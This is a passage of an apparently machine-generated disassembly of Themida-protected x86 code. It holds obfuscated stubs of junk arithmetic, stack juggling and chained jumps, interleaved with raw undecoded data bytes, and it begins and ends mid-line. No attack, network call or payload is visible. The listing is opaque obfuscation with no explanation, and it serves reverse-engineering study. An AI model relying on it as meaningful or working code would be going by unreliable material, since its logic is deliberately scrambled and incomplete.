--------------------------------------------------------------------------- loc_50909A: ; CODE XREF: Themida_:0050588Aj pop ebx pop dword ptr [esp] mov esp, [esp] push 3DD4h mov [esp], ebx mov ebx, 2B431B49h push eax push 0FFFFFFFFh pop eax jmp loc_505F3D ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48124h, 87000000h, 895C2404h, 70BD242Ch, 0BE7DCF6Dh dd 78B3566Ah, 0E9FFEE83h, 534Ah ; --------------------------------------------------------------------------- loc_5090DC: ; CODE XREF: Themida_:005178ACj sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax add eax, 4 jmp loc_50D60E ; --------------------------------------------------------------------------- dw 515Ch dd 42474FFh, 82A8E9h, 66B95100h, 0C1628B75h, 61E902E9h db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50910B: ; CODE XREF: Themida_:00502F1Aj dec bl jmp loc_516DD9 ; --------------------------------------------------------------------------- loc_509112: ; CODE XREF: Themida_:00508271j push ebp jmp loc_5117DB ; --------------------------------------------------------------------------- dd 5C240C87h, 0E0B5E9h db 0 byte_509121 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00502930o dd 6658669Dh, 9C240411h, 0FF999AE9h, 5BE7B9FFh, 0C80158F4h dd 83240C8Bh, 0D82904C4h, 1D91E953h, 0EBC00000h, 80C3FE04h dd 0DC2029EBh, 66D685Bh, 0C890000h, 6670B124h, 2414F651h dd 0FFCD3EE9h db 0FFh ; --------------------------------------------------------------------------- loc_509165: ; CODE XREF: Themida_:005052C5j push edi mov edi, 49A94A98h add [esp+4], edi pop edi pop ecx sub ecx, 49A94A98h jmp loc_50DE41 ; --------------------------------------------------------------------------- aHi db '[hI,',0 align 2 dw 3C89h dd 53E78924h, 41F1E9h, 4C48300h, 5C24048Fh, 0BC83E950h dd 0C89FFFFh, 0F5F8E924h, 4735FFFFh, 50149F9Ch, 97242C81h dd 0E973DD50h, 7C54h, 0E95BDD30h, 82B7h, 7E8AC281h, 0B7E91DA7h dd 89FFFFA6h, 0ADBE2434h, 0E96CCC2Dh, 0D6A4h, 32170566h dd 257F68h, 24148900h, 71DEBA66h, 0F7665266h, 5A66241Ch dd 66D2F766h, 1499E281h, 958FE9h, 5A1BA00h, 0E95705C0h dd 0FFFFC902h, 6712F9BDh, 8BE8293Eh, 0C483242Ch, 39685304h dd 8BFBDB19h, 0C483241Ch, 5BD80104h, 8158C329h, 74D43CBh dd 2AB85048h, 0E9137032h, 9C56h, 0E9DA015Bh, 0FFFFA9E9h dd 5B2414F7h, 9325C381h, 4FE9378Ch db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50924B: ; CODE XREF: Themida_:00513D9Aj sub dword ptr [esp+4], 2CED7D25h add [esp+4], edi add dword ptr [esp+4], 2CED7D25h push edx mov edx, 586B467Eh add [esp+8], edx pop edx pop edi mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_506FC8 ; --------------------------------------------------------------------------- loc_509282: ; CODE XREF: Themida_:0050DD38j mov [esp], ebx mov ebx, 0FFFFFFFFh sub edx, ebx jmp loc_516D44 ; --------------------------------------------------------------------------- db 5Ch, 0FEh, 0C2h dd 0FFC52FE9h, 3AE959FFh, 8300002Fh, 148904ECh, 4599E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5092AA: ; CODE XREF: Themida_:00513610j mov edx, edi jmp loc_511AD4 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 0E9000000h, 2492h, 8358C729h, 0C8904ECh, 0C63EB924h dd 0CF31368Ah, 25E95759h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5092D3: ; CODE XREF: Themida_:00505061j add edx, 4 xchg edx, [esp] pop esp xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp shr ecx, 0 jmp loc_506736 ; --------------------------------------------------------------------------- db 48h dd 0A55CB25h, 68F2D1Bh, 0C7218AB5h, 0FFA74BE9h, 0E9F201FFh dd 527Dh, 60E9E189h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50930F: ; CODE XREF: Themida_:0050D1D4j push 28h mov ecx, [esp] push ebx mov ebx, esp jmp loc_5033FA ; --------------------------------------------------------------------------- db 1 dd 5D04246Ch, 27AEE9h, 19A2BF00h, 0D6E90332h, 50000025h dd 4B8h, 69EE8100h, 10C3468h, 1826E9C6h, 0C2810000h, 495B5421h dd 0E92434FFh, 0DE8Fh, 0FF243489h, 8B042474h, 0C4812434h dd 4, 5C24048Fh, 9C240431h, 0FF975AE9h, 0E95066FFh, 6893h ; --------------------------------------------------------------------------- loc_509378: ; CODE XREF: Themida_:0050BD1Fj mov edx, 178D3817h sub edx, 5CC70F4Fh jmp loc_517479 ; --------------------------------------------------------------------------- dword_509388 dd 240C8B66h, 0FF99F4E9h, 0E9C201FFh, 0A54Ah ; DATA XREF: Themida_:00502848o ; --------------------------------------------------------------------------- loc_509398: ; CODE XREF: Themida_:0051253Cj push 18DDh mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] push eax mov eax, esp push ebx mov ebx, 68EB2C83h or ebx, 450C6B1Ah add ebx, 92109069h add eax, ebx pop ebx jmp loc_510D02 ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 17E92434h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5093DF: ; CODE XREF: Themida_:00506BA9j push ecx mov ecx, esp jmp loc_517632 ; --------------------------------------------------------------------------- db 89h dd 0BCE952E0h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5093EF: ; CODE XREF: Themida_:00516236j pop edx inc ebp shr ebp, 3 inc ebp neg ebp sub ebp, 0F3D69215h sub eax, 45FF31FFh jmp loc_50783C ; --------------------------------------------------------------------------- loc_509407: ; CODE XREF: Themida_:0050D57Fj push ebp mov ebp, 187A6B29h jmp loc_508AB4 ; --------------------------------------------------------------------------- word_509412 dw 8B66h ; DATA XREF: Themida_:00502998o dd 4A682404h, 8900003Bh, 0F682414h, 89000069h, 0E9562424h dd 7E09h ; --------------------------------------------------------------------------- loc_50942C: ; CODE XREF: Themida_:005102D2j push dword ptr [esp] pop eax push ecx push esp pop ecx jmp loc_50D52A ; --------------------------------------------------------------------------- dd 81E78957h, 4C7h, 4C78100h, 87000000h, 565C243Ch, 4BEh dd 8BF32900h, 6BE92434h, 53FFFFE1h, 0CB21E9h, 97B85000h dd 0E9774742h, 8812h, 4C481h, 0AEE90000h, 1FFFFDAh, 0D7015EF2h dd 0D9E0E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_509482: ; CODE XREF: Themida_:0051747Bj add edx, 0BAC628EDh push edi mov edi, 527414C5h jmp loc_50FDC4 ; --------------------------------------------------------------------------- byte_509493 db 66h ; DATA XREF: Themida_:005029E0o dd 52240C8Bh, 6EC6E9h, 0CF815B00h, 10184429h, 9CE9EFD1h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5094AB: ; CODE XREF: Themida_:00506B8Fj sub esp, 4 mov [esp], eax mov eax, 713340Dh xor eax, edx xor edx, eax jmp loc_503DB9 ; --------------------------------------------------------------------------- dw 3835h dd 517DD541h, 596B81B9h, 0E772E943h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5094D2: ; CODE XREF: Themida_:0050A34Cj xor ebp, 0FF5CDE83h xor ebx, ebp pop ebp push ebp mov ebp, 3BBF4A09h shr ebp, 8 add ebp, 46D42333h dec ebp jmp loc_504BCA ; --------------------------------------------------------------------------- dd 24148B59h, 0FFCA30E9h, 1AE981FFh, 81297B44h, 2A731CC1h dd 81D90164h, 2A731CE9h, 0DB57E964h, 55510000h, 43275BBDh dd 0F5814D1Dh, 176768CCh, 7333F581h, 0C14D2B25h, 0ED8106EDh dd 8404F0h, 0E95DE989h, 75B6h ; --------------------------------------------------------------------------- loc_509538: ; CODE XREF: Themida_:00513066j pop ecx add eax, edi jmp loc_50643D ; --------------------------------------------------------------------------- dd 4C681h, 4DE90000h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50954B: ; CODE XREF: Themida_:00507997j mov ebx, [esp] add esp, 4 push ecx jmp loc_50DF91 ; --------------------------------------------------------------------------- aRs__ db 'Ñàé__',0 dd 0F0F68100h, 29DD6618h, 0F3A5E9F7h, 58E9FFFFh, 81FFFF95h dd 53634FC7h, 0CBC4E915h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50957E: ; CODE XREF: Themida_:00509DADj mov eax, 15201970h and eax, 767E391Ch jmp loc_5055DE ; --------------------------------------------------------------------------- db 0BAh, 32h, 39h dd 0C2836507h, 0E95250FFh, 6F1Ch, 34FFF931h, 243C8B24h dd 4C481h, 89510000h, 4C181E1h, 56000000h, 415D3BBEh, 0EE814623h dd 23415D38h, 7E9F101h, 66000080h, 4244401h, 0D0E95866h db 0BEh, 2 dup(0) aNsU db 'é',7,'u',0 ; DATA XREF: Themida_:00502968o dd 0BB0F6600h, 0E99C2404h, 0FFFF94E7h ; --------------------------------------------------------------------------- loc_5095E4: ; CODE XREF: Themida_:0050F2F8j sub esi, 0A2C21A7h inc esi neg esi jmp loc_5134C4 ; --------------------------------------------------------------------------- dw 0C87h dd 0BA525C24h, 418010F5h, 4A04EAC1h, 0A3ADE9h db 0 ; --------------------------------------------------------------------------- loc_509605: ; CODE XREF: Themida_:00517E1Aj add ebx, esi add ebx, 3F9444AFh jmp loc_513BAE ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8904EC83h, 0EB82404h, 0E91A0A62h, 9F41h ; --------------------------------------------------------------------------- loc_509628: ; CODE XREF: Themida_:0051519Ej mov edx, esp jmp loc_509E06 ; --------------------------------------------------------------------------- db 68h dd 13D668B6h, 1408E9h, 5AD53100h, 62B2B951h, 0E9816788h dd 4B6C427Fh, 68C1C181h, 0CD2993A1h, 5DEB0159h, 0E904EC83h dd 0DD85h, 2E3C166h, 46EB8166h, 0D3F76604h, 7EBC166h, 0D6EB8166h dd 0DA89664Bh, 5266535Bh, 2FB5E9h db 0 ; --------------------------------------------------------------------------- loc_50967D: ; CODE XREF: Themida_:00517E50j pop ecx and eax, esi pop esi jmp loc_505956 ; --------------------------------------------------------------------------- dw 315Eh dd 242C8BEBh, 4C481h, 0D9890000h, 68241C8Bh, 3D3Bh, 54243489h dd 4C6815Eh, 83000000h, 348704C6h, 0EF815C24h, 3C116867h dd 4CDC781h, 0CF015A04h, 4CDEF81h, 0C7815A04h, 3C116867h dd 83240C8Bh, 3C8704C4h, 24248B24h, 9CC88566h, 0FF93EEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5096DD: ; CODE XREF: Themida_:00510523j push ebx jmp loc_508B3B ; --------------------------------------------------------------------------- loc_5096E3: ; CODE XREF: Themida_:005083CEj pop ebx add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov ecx, [esp] push ebp mov ebp, esp jmp loc_50B89B ; --------------------------------------------------------------------------- dd 405h, 4EC8100h, 89000000h, 0E9552414h, 0D786h, 81D7F74Fh dd 834EF7C7h, 8B5D5789h, 0C481243Ch, 4, 0FFABCBE9h db 0FFh ; --------------------------------------------------------------------------- loc_509729: ; CODE XREF: Themida_:0050C16Dj pop edi pop edx push ebp mov ebp, 3889719Ch add edx, ebp pop ebp mov ecx, edx mov edx, [esp] add esp, 4 pop eax sub ecx, 4A9D32C8h add ebp, ecx push dword ptr [esp] pop ecx jmp loc_5075FE ; --------------------------------------------------------------------------- word_50974E dw 30ACh ; DATA XREF: Themida_:00502A44o dd 41F568D8h, 1C890000h, 4EC8124h, 89000000h, 0B652240Ch dd 4E68073h, 80C2F680h, 38E901EEh db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509773: ; CODE XREF: Themida_:00510555j push edi mov edi, 5B396260h jmp loc_516BCB ; --------------------------------------------------------------------------- aAiqsn db '€ëŸé¿',0 align 2 dw 0F751h dd 0E9592414h, 0FFFFC99Fh, 0B6568h, 242C8900h, 0E460E9h db 0 ; --------------------------------------------------------------------------- loc_50979D: ; CODE XREF: Themida_:00516646j pop esp jmp loc_516DB8 ; --------------------------------------------------------------------------- aLF14F34F14Sur db '‹$$f14$f34$f14$éî',0 dw 8B00h dd 31662424h, 33662414h, 31662414h, 8B662414h, 89532434h dd 11CC68E3h, 4890000h, 2737B824h, 0E70546B8h, 0C1E26350h dd 0E95207E0h, 0FFFFC1E1h, 54243489h, 6332E9h, 14E95A00h dd 59FFFFCFh, 0F75BDE21h, 0E95351D6h, 0FFFFEAD1h, 4E5488BEh dd 0E6814E03h, 3AA70979h, 0FFED7FE9h, 24248BFFh, 0FFF1B4E9h dd 5DEA01FFh, 815AD729h, 0EB2E47C2h, 0E9FA0106h, 0FFFFC29Fh ; --------------------------------------------------------------------------- loc_509830: ; CODE XREF: Themida_:005146FDj xchg edi, [esp] not edi xchg edi, [esp] mov eax, [esp] add esp, 4 sub eax, 12AD5AFEh sub eax, 0A32621C7h mov edi, eax jmp loc_502E0F ; --------------------------------------------------------------------------- dw 48Bh aS_8 db '$é',7,8,0 align 2 dw 0E95Eh dd 0FFFFFCFAh ; --------------------------------------------------------------------------- loc_509860: ; CODE XREF: Themida_:0050CF4Fj mov esi, 0E944D45Dh add eax, esi pop esi add ecx, eax jmp loc_50A01D ; --------------------------------------------------------------------------- loc_50986F: ; CODE XREF: Themida_:0050F122j add esp, 4 push edi jmp loc_50F67A ; --------------------------------------------------------------------------- dd 505AD501h, 3466FEB8h, 2E0C126h, 72DD8F7h, 29672E64h dd 0E95358C5h, 1FCFh, 3BE4BD55h, 0DDF7006Eh, 0EDC1E5D1h dd 3DED8105h, 8907F91Ch, 0EB6DE9EEh, 348BFFFFh, 4C48324h dd 0D224E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5098BA: ; CODE XREF: Themida_:005069D6j add dword ptr [esp], 4 mov edx, [esp] add esp, 4 add edx, 4 jmp loc_515122 ; --------------------------------------------------------------------------- loc_5098D2: ; CODE XREF: Themida_:0050C336j add edx, esi add edx, 5D240122h add edx, 3430691Fh mov esi, [esp] add esp, 4 jmp loc_515778 ; --------------------------------------------------------------------------- loc_5098EB: ; CODE XREF: Themida_:00504953j mov [esp], edx jmp loc_50E384 ; --------------------------------------------------------------------------- loc_5098F3: ; CODE XREF: Themida_:0050D62Bj add ecx, 8C729A18h jmp loc_502ED3 ; --------------------------------------------------------------------------- dw 0C87h dd 0C3815C24h, 2, 31241C33h, 1C33241Ch, 4FF7E924h, 0D1400000h dd 68E8h, 4290000h, 32D5824h, 29C6D64Bh, 0C9C9E9C2h, 0E0890000h dd 820CE9h, 89515300h, 4BE56E1h, 1000000h, 0E9835EF1h dd 240C3304h, 33240C31h, 0E95C240Ch, 0FFFFE774h, 0D251E946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50995A: ; CODE XREF: Themida_:0050F86Aj push dword ptr [esp] pop eax jmp loc_50A84B ; --------------------------------------------------------------------------- loc_509963: ; CODE XREF: Themida_:0050793Cj add esi, 4 add esi, 4 xchg esi, [esp] pop esp push esi mov esi, edi mov ecx, esi pop esi jmp loc_504FFA ; --------------------------------------------------------------------------- loc_50997B: ; CODE XREF: Themida_:00512134j mov ebp, 4C604FF7h shr ebp, 1 or ebp, 43CE7D21h and ebp, 47B31C2h add ebp, 7BBE76A2h jmp loc_51229A ; --------------------------------------------------------------------------- db 59h, 81h, 0C4h dd 4, 0C8ABE951h, 0EC81FFFFh, 4, 0FF95F9E9h, 242C89FFh dd 0AA6B56BDh, 0F584E913h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5099BE: ; CODE XREF: Themida_:0050FF42j mov [esp], edx mov edx, 762D71F7h add [esp+0Ch], edx pop edx sub [esp+8], edx sub dword ptr [esp+8], 762D71F7h pop edx mov eax, [esp] add esp, 4 pop dword ptr [edi+24h] jmp loc_510FD8 ; --------------------------------------------------------------------------- db 48h, 40h, 0C1h dd 0D8F705E8h, 78E8B05h, 58C20125h, 6360EA81h, 12E96221h dd 57FFFFB8h, 986D53BFh, 0E9FB016Ch, 5952h ; --------------------------------------------------------------------------- loc_509A10: ; CODE XREF: Themida_:00504AACj pop ecx jmp loc_510350 ; --------------------------------------------------------------------------- loc_509A16: ; CODE XREF: Themida_:00512A5Aj pop ebx sub esp, 4 jmp loc_503AFA ; --------------------------------------------------------------------------- db 59h dd 251EE9h db 0 ; --------------------------------------------------------------------------- loc_509A25: ; CODE XREF: Themida_:00512A4Fj mov edi, eax jmp loc_50346C ; --------------------------------------------------------------------------- loc_509A2C: ; CODE XREF: Themida_:0050B3E9j mov esi, esp jmp loc_5073DB ; --------------------------------------------------------------------------- aPsg@ db 'PéG@',0 dd 778EBA00h, 0D0290B18h, 735FE9h, 4B39B900h, 0CB0149FDh dd 7463E9h, 0E9C3B700h, 1Fh, 2C87D5F7h, 2434FF24h, 4C4815Ah dd 81000000h, 498DC3EAh, 8BD701F7h, 0E9E92414h, 0F6FFFFE9h dd 69EF80D7h, 1C8BF800h, 4C48124h, 0FF000000h, 815B2434h dd 4C4h, 0EEE95300h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_509A97: ; CODE XREF: Themida_:0050881Aj mov edi, 20F1804h sub ebp, edi pop edi not ebp jmp loc_50F06C ; --------------------------------------------------------------------------- dw 0BD55h dd 1BE51310h, 5F79E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_509AB2: ; CODE XREF: Themida_:00504526j mov ebx, 62BE0B4Bh dec ebx xor ebx, 0AA3366h sub ebx, 62143828h add edx, ebx pop ebx jmp loc_512214 ; --------------------------------------------------------------------------- loc_509ACC: ; CODE XREF: Themida_:0050A76Fj add edx, 14D16A3Bh add edx, ebx sub edx, 14D16A3Bh pop ebx xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] sub [edi+24h], ebx jmp loc_5164C4 ; --------------------------------------------------------------------------- loc_509AEF: ; CODE XREF: Themida_:00515BA3j add eax, edi pop edi pop esi push 52C4h mov [esp], edi mov edi, esp add edi, 4 push edx mov edx, 4 sub edi, edx mov edx, [esp] jmp loc_506F4F ; --------------------------------------------------------------------------- db 31h dd 36E92414h, 89FFFFCBh, 7A08E9F5h, 0EC830000h, 242C8904h dd 9D4BE9h, 42D00h, 6BE90000h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_509B37: ; CODE XREF: Themida_:00502EBBj add esp, 4 not esi or esi, 4B69399Ch shl esi, 4 push eax mov eax, 0 sub eax, esi mov esi, eax pop eax jmp loc_517D62 ; --------------------------------------------------------------------------- db 89h, 0E6h, 81h dd 4C6h, 4C68100h, 87000000h, 248B2434h, 1B586824h, 34890000h dd 74C7E924h, 0BB530000h, 74CD0311h, 8C80E0BFh, 5BDF298Bh dd 6EEAEF81h, 0E7E93569h, 51FFFF93h, 0FB4CBDB9h, 95BA523Fh dd 0B83D9322h, 8982EBA0h, 0E95AD001h, 8559h, 83242489h dd 0E9042404h, 0FFFFA87Ch, 19F2815Ah, 81676808h, 3B2116CAh dd 5BBD5575h, 317FBB65h, 0BE95DEAh db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_509BCF: ; CODE XREF: Themida_:0050889Dj sub edi, esi push edx jmp loc_509CA8 ; --------------------------------------------------------------------------- loc_509BD7: ; CODE XREF: Themida_:00515D4Bj mov esi, 4 add ecx, 78EF5A8Ah add ecx, esi jmp loc_50443F ; --------------------------------------------------------------------------- aITs db '‰<$Té}<',0 align 2 dw 1C89h aHU db '$h)u',0 align 2 dw 0C89h dd 41F3E924h, 475A0000h, 0B850554Fh, 4963071Ch, 0EC24150Dh dd 2E8C16Bh, 0FB10D40h, 3A052E93h, 0E93B541Bh, 0FFFFC594h dd 4EA81h, 14870000h, 24248B24h db 89h, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 2F6B1A9Bh add ebx, 1D4F611Eh add ebx, 6CC72952h xor ebx, 0B981A50Fh add ebp, ebx pop ebx sub ebp, 4 jmp loc_50CEC2 ; --------------------------------------------------------------------------- aSic db '\鉖',0 align 2 aIxspw db '‰åépW',0 dd 7D03BD00h, 0E9534124h, 0FFFFDFB5h, 2924248Bh, 2434FFE8h dd 85E9515Dh, 5DFFFFF6h, 7F36C981h, 0BB537941h, 3A2F4954h dd 0FFEDA3E9h, 48804FFh, 0A5ECE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509C9E: ; CODE XREF: Themida_:0050603Cj mov ebp, edx pop edx sub ebp, eax jmp loc_504EBF ; --------------------------------------------------------------------------- loc_509CA8: ; CODE XREF: Themida_:00509BD2j mov edx, 71E42B8h shr edx, 7 not edx jmp loc_50A12E ; --------------------------------------------------------------------------- db 81h dd 6B2080EEh, 92A1E964h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509CC2: ; CODE XREF: Themida_:0050F4EDj sub edi, 3771280Fh pop edx add edi, 51E628CBh sub edi, ebp push ebp jmp loc_511A47 ; --------------------------------------------------------------------------- db 0BBh dd 5DE73187h, 0CE7DC381h, 0A8E9A218h, 0BBFFFFF1h, 5C3E2515h dd 558AEB81h, 7DE9454Fh, 0BB0000D3h, 39347F1Bh, 0FE3EC381h dd 56E94128h, 66000083h, 81240C8Bh, 2C4h, 0EFCF8000h, 66FFEF80h dd 6678F868h, 88240C89h, 88D1F6F9h, 0F65966CFh, 0F1E780DFh dd 886FC780h, 241C8BF9h, 4C481h, 0C8000000h, 0E9536659h dd 0FFFFDC25h, 0FFFFFFBAh, 0FB2AE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509D4E: ; CODE XREF: Themida_:005127F9j pop ecx sub edx, 4 xor edx, [esp] jmp loc_50BD72 ; --------------------------------------------------------------------------- loc_509D5A: ; CODE XREF: Themida_:0050A02Dj or edx, 3778370Ah xor edx, 362E7AC1h sub ecx, edx jmp loc_503116 ; --------------------------------------------------------------------------- loc_509D6D: ; CODE XREF: Themida_:0050F993j mov ebp, [esp] add esp, 4 jmp loc_511006 ; --------------------------------------------------------------------------- dd 4C481h, 0C3810000h, 2, 0E9241C87h, 0FFFFFA17h, 4C581h dd 90E90000h, 4FFFFDDh, 7E0C0BDh, 3F2CE134h, 48BC528h dd 88BBE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_509DAA: ; CODE XREF: Themida_:00513C9Ej mov [esp], eax jmp loc_50957E ; --------------------------------------------------------------------------- dw 14E9h dd 29FFFF8Dh, 0C15896F0h, 0EE8107E6h, 9FBE3BFDh, 0F32BF57h dd 0FA0129F4h, 48D1E9h, 815D5400h, 4C5h, 0E244E900h, 0BD55FFFFh dd 2FD42E02h, 6395C681h, 0C6815214h, 1587588Dh, 0EE81EE29h dd 1587588Dh, 6395EE81h, 2C8B5214h, 0CF8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_509E06: ; CODE XREF: Themida_:0050962Aj push ebp mov ebp, 4 jmp loc_5033A9 ; --------------------------------------------------------------------------- db 5Ah, 8Fh, 4 dd 24048124h, 4, 332EE9h, 0DE015F00h, 57241C8Bh, 0BE56E789h dd 4, 505EF701h, 0FFC870E9h, 0F7415AFFh, 4244E9D1h, 4BB0000h dd 1000000h, 89565BDDh, 0A318E9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509E52: ; CODE XREF: Themida_:0050C9C2j pop ebp mov ebx, [esp] push 6029h mov [esp], eax mov eax, esp jmp loc_50F2D6 ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 31E90000h, 560000A1h, 0C5335268h, 0BBACE969h db 2 dup(0) ; --------------------------------------------------------------------------- loc_509E7A: ; CODE XREF: Themida_:00514A61j sub edi, 0C5D143CEh sub eax, edi pop edi pop esi jmp loc_502ACB ; --------------------------------------------------------------------------- loc_509E89: ; CODE XREF: Themida_:005136FBj mov [esp], ebx mov bl, 1Fh sub bl, 0Ch jmp loc_50F758 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4EA81h, 14870000h, 0C895C24h, 85BA5224h, 0E95E3C22h dd 0FFFFA5D1h ; --------------------------------------------------------------------------- loc_509EB4: ; CODE XREF: Themida_:0050E4F8j push 38250816h mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5152D0 ; --------------------------------------------------------------------------- loc_509ED0: ; CODE XREF: Themida_:0050BEDDj shr eax, 0Bh xor ecx, eax push 6295h mov [esp], ebx jmp loc_503B42 ; --------------------------------------------------------------------------- dw 0F501h aSsR db 'SéÄr',0 align 2 dw 0D6F7h dd 0FFA762E9h, 39C0BFFFh, 0F8893E81h, 81243C8Bh, 4C4h dd 0FFC08300h, 844B172Dh, 4EC8143h, 89000000h, 0C6BD242Ch dd 0F72B795Eh, 81D5F7DDh, 0DC1FE6F5h, 0E1F3E90Ah, 2BDFFFFh dd 81000000h, 0AF063DE9h, 81E9014Bh, 0AF063DC1h, 46A4E94Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_509F3E: ; CODE XREF: Themida_:005059EBj xor cl, 6Dh xor dh, cl pop ecx push ecx mov cl, 0A3h sub dh, cl jmp loc_50DFC1 ; --------------------------------------------------------------------------- dw 8758h dd 0E95C2414h, 0FFFF8B73h, 1C28B951h, 306831D3h, 89000030h dd 0ABB241Ch, 87023649h, 87DEF7F3h, 0D144E9F3h, 0FF57FFFFh dd 8B042474h, 0C481243Ch, 4, 8B24048Fh, 0BCE92424h, 81000044h dd 4C4h, 0C685100h, 89000018h, 4832424h, 59E90424h, 81000026h dd 0CB0244F6h, 5EF18935h, 0FF0FBA52h, 0D6898BC5h, 0DFEE815Ah dd 2965F318h, 0DFC681CEh, 5965F318h, 2D5EF101h, 298B346Bh dd 63E9C829h db 0CBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_509FD7: ; CODE XREF: Themida_:0050AEFEj or eax, 3C9B7BDCh jmp loc_51096C ; --------------------------------------------------------------------------- loc_509FE1: ; CODE XREF: Themida_:0050B79Dj ; Themida_:0050D1C6j ... push dword ptr [edi+24h] push dword ptr [esp] jmp loc_5066D4 ; --------------------------------------------------------------------------- loc_509FEC: ; CODE XREF: Themida_:0050C5FBj mov esp, [esp] push 6391h mov [esp], ecx push edi jmp loc_508C07 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 86E2E9h, 4BE00h, 0C3810000h, 29377661h, 0EB81F329h dd 29377661h, 3FEEE9h db 0 ; --------------------------------------------------------------------------- loc_50A01D: ; CODE XREF: Themida_:0050986Aj pop eax push eax mov eax, 4 push edx mov edx, 6B371FD0h shr edx, 8 jmp loc_509D5A ; --------------------------------------------------------------------------- loc_50A032: ; CODE XREF: Themida_:00514032j mov ebp, esi pop esi xor ebp, 29DD6547h add ebp, 1F6452D4h push 6F9Ah mov [esp], ecx mov ecx, 21341375h sub ebp, ecx mov ecx, [esp] add esp, 4 sub ebp, 28C5DAD7h jmp loc_50BA81 ; --------------------------------------------------------------------------- db 57h, 89h, 0E7h dd 4C781h, 0BA520000h, 4, 875AD701h, 895C243Ch, 49E95FFBh dd 40FFFFA4h, 4EC8356h, 0FFF928E9h db 0FFh ; --------------------------------------------------------------------------- loc_50A089: ; CODE XREF: Themida_:0050F82Ej add dword ptr [esp], 4 push dword ptr [esp] pop ecx add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp mov ebp, 4 add ecx, ebp pop ebp jmp loc_516C1B ; --------------------------------------------------------------------------- loc_50A0BA: ; CODE XREF: Themida_:00517638j add ecx, 4 xchg ecx, [esp] jmp loc_510AC0 ; --------------------------------------------------------------------------- loc_50A0C8: ; CODE XREF: Themida_:00507204j push ecx mov ecx, 6CC07DEDh xor ebx, ecx pop ecx jmp loc_506041 ; --------------------------------------------------------------------------- dw 483h dd 348B0424h, 4C48124h, 0E9000000h, 78E7h, 0C681E689h dd 4, 8704C683h, 815C2434h, 5B62ECE3h, 4E9576Ch, 8900006Eh dd 3DB82404h, 0D1043A61h, 2DE8D1E8h, 0F06346A9h, 8158C609h dd 0EB5716EEh, 9CF68119h, 0E91E8601h, 0FFFFF8DBh, 0C80AE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A12E: ; CODE XREF: Themida_:00509CB2j sub edx, 4B9B0920h sub edx, 63089E7Bh add edi, edx pop edx jmp loc_51253B ; --------------------------------------------------------------------------- loc_50A142: ; CODE XREF: Themida_:00516CF2j add eax, esi jmp loc_50B49D ; --------------------------------------------------------------------------- db 1, 0D6h, 5Ah dd 65C668h, 24348900h, 42474FFh, 5E2434FFh, 815D5455h dd 4C5h, 375E900h, 5CE90000h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A16F: ; CODE XREF: Themida_:00514360j pop eax push ebx mov ebx, 0 jmp loc_514BA6 ; --------------------------------------------------------------------------- loc_50A17B: ; CODE XREF: Themida_:00506788j add esp, 4 shl ecx, 4 jmp loc_503865 ; --------------------------------------------------------------------------- byte_50A189 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00502890o dd 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h, 68243489h dd 47B7h, 5EEB68h, 48F5400h, 24048124h, 4, 5324048Fh, 4EC81h dd 3C890000h, 12706824h, 0E95F5CD4h, 0FFFF8EEEh ; --------------------------------------------------------------------------- loc_50A1D0: ; CODE XREF: Themida_:00510D70j pop ebp add ecx, ebx pop ebx push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_5107AD ; --------------------------------------------------------------------------- loc_50A1F7: ; CODE XREF: 